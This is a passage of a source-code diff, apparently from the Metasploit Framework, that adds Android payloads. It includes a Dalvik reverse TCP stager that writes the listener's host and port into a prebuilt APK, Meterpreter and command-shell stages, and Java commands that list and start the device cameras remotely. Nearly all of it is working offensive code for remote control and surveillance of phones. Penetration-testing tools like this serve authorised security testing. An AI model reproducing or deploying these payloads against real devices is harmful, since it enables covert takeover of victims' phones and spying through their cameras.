+ if (getCameraInfoMethod != null && cameraInfoClass != null && field != null) {
+ for (int camIdx = 0; camIdx < cameraCount; camIdx++) {
+ getCameraInfoMethod.invoke(null, camIdx, cameraInfo);
+ int facing = field.getInt(cameraInfo);
+ if (facing == 1) { // Camera.CameraInfo.CAMERA_FACING_FRONT
+ response.addOverflow(TLV_TYPE_WEBCAM_NAME, "Front Camera");
+ } else {
+ response.addOverflow(TLV_TYPE_WEBCAM_NAME, "Back Camera");
+ }
+ }
+ }
+ } catch (Exception e) {
+ Log.e(getClass().getSimpleName(), "webcam error ", e);
+ }
+
+ return ERROR_SUCCESS;
+ }
+}
diff --git a/external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_start_android.java b/external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_start_android.java
new file mode 100644
index 0000000000..da4c200733
--- /dev/null
+++ b/external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_start_android.java
@@ -0,0 +1,42 @@
+
+package com.metasploit.meterpreter.android;
+
+import com.metasploit.meterpreter.Meterpreter;
+import com.metasploit.meterpreter.TLVPacket;
+import com.metasploit.meterpreter.command.Command;
+import com.metasploit.meterpreter.stdapi.webcam_audio_record;
+
+import android.hardware.Camera;
+import android.util.Log;
+
+import java.lang.reflect.Method;
+
+public class webcam_start_android extends webcam_audio_record implements Command {
+
+ private static final int TLV_EXTENSIONS = 20000;
+ private static final int TLV_TYPE_WEBCAM_INTERFACE_ID = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2);
+
+ public static Camera camera;
+
+ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
+
+ int camId = request.getIntValue(TLV_TYPE_WEBCAM_INTERFACE_ID);
+
+ try {
+ Class> cameraClass = Class.forName("android.hardware.Camera");
+ Method cameraOpenMethod = cameraClass.getMethod("open", Integer.TYPE);
+ if (cameraOpenMethod != null) {
+ camera = (Camera)cameraOpenMethod.invoke(null, camId - 1);
+ } else {
+ camera = Camera.open();
+ }
+ camera.setPreviewDisplay(null);
+ camera.startPreview();
+
+ } catch (Exception e) {
+ Log.e(getClass().getSimpleName(), "webcam error ", e);
+ }
+
+ return ERROR_SUCCESS;
+ }
+}
diff --git a/external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_stop_android.java b/external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_stop_android.java
new file mode 100644
index 0000000000..a3644c2071
--- /dev/null
+++ b/external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_stop_android.java
@@ -0,0 +1,28 @@
+
+package com.metasploit.meterpreter.android;
+
+import com.metasploit.meterpreter.Meterpreter;
+import com.metasploit.meterpreter.TLVPacket;
+import com.metasploit.meterpreter.command.Command;
+import com.metasploit.meterpreter.stdapi.webcam_audio_record;
+
+import android.util.Log;
+
+public class webcam_stop_android extends webcam_audio_record implements Command {
+
+ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
+
+ try {
+ if (webcam_start_android.camera != null) {
+ webcam_start_android.camera.stopPreview();
+ webcam_start_android.camera.release();
+ webcam_start_android.camera = null;
+ }
+
+ } catch (Exception e) {
+ Log.e(getClass().getSimpleName(), "webcam error ", e);
+ }
+
+ return ERROR_SUCCESS;
+ }
+}
diff --git a/external/source/javapayload/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/CommandManager.java b/external/source/javapayload/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/CommandManager.java
index e64c7e2fef..ca0c3ea655 100644
--- a/external/source/javapayload/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/CommandManager.java
+++ b/external/source/javapayload/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/CommandManager.java
@@ -37,9 +37,12 @@ public class CommandManager {
apiVersion = ExtensionLoader.V1_6;
} catch (Throwable t) {
}
- int vmVersion = System.getProperty("java.version").charAt(2) - '2' + ExtensionLoader.V1_2;
- if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion)
- apiVersion = vmVersion;
+ String javaversion = System.getProperty("java.version");
+ if (javaversion != null && javaversion.length() > 2) {
+ int vmVersion = javaversion.charAt(2) - '2' + ExtensionLoader.V1_2;
+ if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion)
+ apiVersion = vmVersion;
+ }
this.javaVersion = apiVersion;
// load core commands
diff --git a/external/source/javapayload/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java b/external/source/javapayload/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java
index d6ed03b839..01f9898c83 100644
--- a/external/source/javapayload/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java
+++ b/external/source/javapayload/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java
@@ -32,6 +32,7 @@ public class Meterpreter {
private List/* */channels = new ArrayList();
private final CommandManager commandManager;
+ private final DataInputStream in;
private final DataOutputStream out;
private final Random rnd = new Random();
private final ByteArrayOutputStream errBuffer;
@@ -39,6 +40,7 @@ public class Meterpreter {
private final boolean loadExtensions;
private List/* */tlvQueue = null;
+
/**
* Initialize the meterpreter.
*
@@ -53,7 +55,27 @@ public class Meterpreter {
* @throws Exception
*/
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors) throws Exception {
+ this(in, rawOut, loadExtensions, redirectErrors, true);
+ }
+
+ /**
+ * Initialize the meterpreter.
+ *
+ * @param in
+ * Input stream to read from
+ * @param rawOut
+ * Output stream to write into
+ * @param loadExtensions
+ * Whether to load (as a {@link ClassLoader} would do) the extension jars; disable this if you want to use your debugger's edit-and-continue feature or if you do not want to update the jars after each build
+ * @param redirectErrors
+ * Whether to redirect errors to the internal error buffer; disable this to see the errors on the victim's standard error stream
+ * @param beginExecution
+ * Whether to begin executing immediately
+ * @throws Exception
+ */
+ public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors, boolean beginExecution) throws Exception {
this.loadExtensions = loadExtensions;
+ this.in = in;
this.out = new DataOutputStream(rawOut);
commandManager = new CommandManager();
channels.add(null); // main communication channel?
@@ -64,6 +86,9 @@ public class Meterpreter {
errBuffer = null;
err = System.err;
}
+ }
+
+ public void startExecuting() throws Exception {
try {
while (true) {
int len = in.readInt();
diff --git a/external/source/javapayload/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_process_get_processes.java b/external/source/javapayload/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_process_get_processes.java
index 247e742223..31744ff19a 100644
--- a/external/source/javapayload/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_process_get_processes.java
+++ b/external/source/javapayload/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_process_get_processes.java
@@ -46,7 +46,7 @@ public class stdapi_sys_process_get_processes implements Command {
br.close();
proc.waitFor();
} else {
- Process proc = Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "ps ax -w -o pid,user,cmd --no-header 2>/dev/null" });
+ Process proc = Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "ps ax -w -o pid=,user=,command= 2>/dev/null" });
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
diff --git a/external/source/javapayload/pom.xml b/external/source/javapayload/pom.xml
index 178290130c..0cb0f61f88 100644
--- a/external/source/javapayload/pom.xml
+++ b/external/source/javapayload/pom.xml
@@ -46,6 +46,8 @@
javapayload
meterpreter
version-compatibility-check
+ androidpayload/app
+ androidpayload/library
3.0
diff --git a/lib/msf/core/module/platform.rb b/lib/msf/core/module/platform.rb
index 357c4e724b..8be4abf122 100644
--- a/lib/msf/core/module/platform.rb
+++ b/lib/msf/core/module/platform.rb
@@ -331,6 +331,14 @@ class Msf::Module::Platform
Alias = "netware"
end
+ #
+ # Android
+ #
+ class Android < Msf::Module::Platform
+ Rank = 100
+ Alias = "android"
+ end
+
#
# Java
#
diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb
index d8bb963a68..86333a6aea 100644
--- a/lib/msf/core/payload.rb
+++ b/lib/msf/core/payload.rb
@@ -28,6 +28,7 @@ class Payload < Msf::Module
require 'msf/core/payload/windows'
require 'msf/core/payload/netware'
require 'msf/core/payload/java'
+ require 'msf/core/payload/dalvik'
##
#
diff --git a/lib/msf/core/payload/dalvik.rb b/lib/msf/core/payload/dalvik.rb
new file mode 100644
index 0000000000..90247092be
--- /dev/null
+++ b/lib/msf/core/payload/dalvik.rb
@@ -0,0 +1,33 @@
+# -*- coding: binary -*-
+require 'msf/core'
+require 'pp'
+require 'rex/ui/text/dispatcher_shell'
+
+module Msf::Payload::Dalvik
+
+ #
+ # Fix the dex header checksum and signature
+ # http://source.android.com/tech/dalvik/dex-format.html
+ #
+ def fix_dex_header(dexfile)
+ dexfile = dexfile.unpack('a8LH40a*')
+ dexfile[2] = Digest::SHA1.hexdigest(dexfile[3])
+ dexfile[1] = Zlib::adler32(dexfile[2..-1].pack('H40a*'))
+ dexfile.pack('a8LH40a*')
+ end
+
+ #
+ # We could compile the .class files with dx here
+ #
+ def generate_stage
+ end
+
+ #
+ # Used by stagers to construct the payload jar file as a String
+ #
+ def generate
+ generate_jar.pack
+ end
+
+end
+
diff --git a/lib/rex/constants.rb b/lib/rex/constants.rb
index 454a06edcf..1c9aaf6ef6 100644
--- a/lib/rex/constants.rb
+++ b/lib/rex/constants.rb
@@ -83,6 +83,7 @@ ARCH_ARMLE = 'armle'
ARCH_ARMBE = 'armbe'
ARCH_JAVA = 'java'
ARCH_RUBY = 'ruby'
+ARCH_DALVIK = 'dalvik'
ARCH_TYPES =
[
ARCH_X86,
@@ -101,7 +102,8 @@ ARCH_TYPES =
ARCH_PHP,
ARCH_TTY,
ARCH_JAVA,
- ARCH_RUBY
+ ARCH_RUBY,
+ ARCH_DALVIK
]
ARCH_ALL = ARCH_TYPES
diff --git a/modules/exploits/multi/handler.rb b/modules/exploits/multi/handler.rb
index 7996ad52ef..219badde61 100644
--- a/modules/exploits/multi/handler.rb
+++ b/modules/exploits/multi/handler.rb
@@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote
'BadChars' => '',
'DisableNops' => true,
},
- 'Platform' => [ 'win', 'linux', 'solaris', 'unix', 'osx', 'bsd', 'php', 'java','ruby','js','python' ],
+ 'Platform' => [ 'win', 'linux', 'solaris', 'unix', 'osx', 'bsd', 'php', 'java', 'ruby', 'js', 'python', 'android' ],
'Arch' => ARCH_ALL,
'Targets' => [ [ 'Wildcard Target', { } ] ],
'DefaultTarget' => 0
diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb
new file mode 100644
index 0000000000..5c03df3068
--- /dev/null
+++ b/modules/payloads/stagers/android/reverse_tcp.rb
@@ -0,0 +1,62 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+require 'zlib'
+require 'digest/sha1'
+
+module Metasploit3
+
+ include Msf::Payload::Stager
+ include Msf::Payload::Dalvik
+
+ def initialize(info = {})
+ super(merge_info(info,
+ 'Name' => 'Dalvik Reverse TCP Stager',
+ 'Description' => 'Connect back stager',
+ 'Author' => 'timwr',
+ 'License' => MSF_LICENSE,
+ 'Platform' => 'android',
+ 'Arch' => ARCH_DALVIK,
+ 'Handler' => Msf::Handler::ReverseTcp,
+ 'Stager' => {'Payload' => ""}
+ ))
+ end
+
+ def string_sub(data, placeholder, input)
+ data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length))
+ end
+
+ def generate_jar(opts={})
+ jar = Rex::Zip::Jar.new
+
+ classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'))
+
+ string_sub(classes, '127.0.0.1 ', datastore['LHOST'].to_s) if datastore['LHOST']
+ string_sub(classes, '4444 ', datastore['LPORT'].to_s) if datastore['LPORT']
+
+ jar.add_file("classes.dex", fix_dex_header(classes))
+
+ files = [
+ [ "AndroidManifest.xml" ],
+ [ "res", "drawable-mdpi", "icon.png" ],
+ [ "res", "layout", "main.xml" ],
+ [ "resources.arsc" ]
+ ]
+
+ jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk"))
+ jar.build_manifest
+
+ #jar.sign(@key, @cert, @ca_certs) '~/.android/debug.keystore' -sigalg MD5withRSA -digestalg SHA1?
+
+ jar
+ end
+
+end
diff --git a/modules/payloads/stages/android/meterpreter.rb b/modules/payloads/stages/android/meterpreter.rb
new file mode 100644
index 0000000000..b477b7b753
--- /dev/null
+++ b/modules/payloads/stages/android/meterpreter.rb
@@ -0,0 +1,52 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+require 'msf/core/payload/dalvik'
+require 'msf/core/handler/reverse_tcp'
+require 'msf/base/sessions/meterpreter_java'
+require 'msf/base/sessions/meterpreter_options'
+
+
+module Metasploit3
+ include Msf::Sessions::MeterpreterOptions
+
+ # The stager should have already included this
+ #include Msf::Payload::Java
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Android Meterpreter',
+ 'Description' => 'Run a meterpreter server on Android',
+ 'Author' => [
+ 'mihi', # all the hard work
+ 'egypt' # msf integration
+ ],
+ 'Platform' => 'android',
+ 'Arch' => ARCH_DALVIK,
+ 'License' => MSF_LICENSE,
+ 'Session' => Msf::Sessions::Meterpreter_Java_Java))
+ end
+
+ #
+ # Override the Payload::Dalvik version so we can load a prebuilt jar to be
+ # used as the final stage
+ #
+ def generate_stage
+ clazz = 'androidpayload.stage.Meterpreter'
+ file = File.join(Msf::Config.data_directory, "android", "metstage.jar")
+ metstage = File.open(file, "rb") {|f| f.read(f.stat.size) }
+
+ file = File.join(Msf::Config.data_directory, "android", "meterpreter.jar")
+ met = File.open(file, "rb") {|f| f.read(f.stat.size) }
+
+ # All of the dendencies to create a dalvik loader, followed by the length of the classname to load,
+ # followed by the classname, followed by the length of the jar and the jar itself.
+ [clazz.length].pack("N") + clazz + [metstage.length].pack("N") + metstage + [met.length].pack("N") + met
+ end
+
+end
diff --git a/modules/payloads/stages/android/shell.rb b/modules/payloads/stages/android/shell.rb
new file mode 100644
index 0000000000..75309a6c98
--- /dev/null
+++ b/modules/payloads/stages/android/shell.rb
@@ -0,0 +1,49 @@
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+require 'msf/core/payload/dalvik'
+require 'msf/core/handler/reverse_tcp'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+
+module Metasploit3
+
+ # The stager should have already included this
+ #include Msf::Payload::Java
+ include Msf::Sessions::CommandShellOptions
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Command Shell',
+ 'Description' => 'Spawn a piped command shell (sh)',
+ 'Author' => [
+ 'mihi', # all the hard work
+ 'egypt' # msf integration
+ ],
+ 'Platform' => 'android',
+ 'Arch' => ARCH_DALVIK,
+ 'License' => MSF_LICENSE,
+ 'Session' => Msf::Sessions::CommandShell))
+ end
+
+ #
+ # Override the Payload::Dalvik version so we can load a prebuilt jar to be
+ # used as the final stage
+ #
+ def generate_stage
+ clazz = 'androidpayload.stage.Shell'
+ file = File.join(Msf::Config.data_directory, "android", "shell.jar")
+ met = File.open(file, "rb") {|f| f.read(f.stat.size) }
+
+ # All of the dendencies to create a dalvik loader, followed by the length of the classname to load,
+ # followed by the classname, followed by the length of the jar and the jar itself.
+ [clazz.length].pack("N") + clazz + [met.length].pack("N") + met
+ end
+end